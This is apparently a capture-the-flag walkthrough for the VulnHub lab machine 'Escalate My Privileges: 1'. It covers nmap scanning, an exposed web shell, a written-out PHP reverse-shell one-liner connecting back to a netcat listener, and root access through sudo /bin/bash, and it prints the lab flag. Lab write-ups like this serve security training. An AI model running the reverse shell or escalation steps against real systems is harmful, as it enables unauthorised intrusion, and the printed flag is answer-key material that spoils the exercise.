Escalate My Privileges: 1
Machine: https://www.vulnhub.com/entry/escalate-my-privileges-1,448/
Tools
- NMap
- netcat
- md5sum
Gaining Access
- After Running the VM as bridged connection, I checked my gateway page to find IP. In my case ip is 192.168.0.11.
- Scan with NMapgives some open ports.
- Nmap with this command nmap -A 192.168.0.11gives an urlhttp://192.168.0.11/phpbash.php.
- It’s a shell on that link. We can execute command as user apache.
- Running this command php -r '$sock=fsockopen("192.168.0.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");'with my ip port gives anetcatshell to my listnernc -lvnp 1337.
- We got shell as armour.
Priviledge Escalation
- On /home/armourdirectory there is a file namedCredentials.txt. Inside it we get passwordmd5(rootroot1).
- Spawn tty shell, convert md5sumof therootroot1to use as password. Then login asarmourwithmd5sumofrootroot1.
- Using sudo -lcommand shows/bin/bashcould be used to get root shell.
- Used sudo /bin/bashcommand toroot.
- We can get flag inside /root/flag.txtby using command.cat /root/flag.txtThe flag is628435356e49f976bab2c04948d22fe4.
Author: Zishan Ahamed Thandar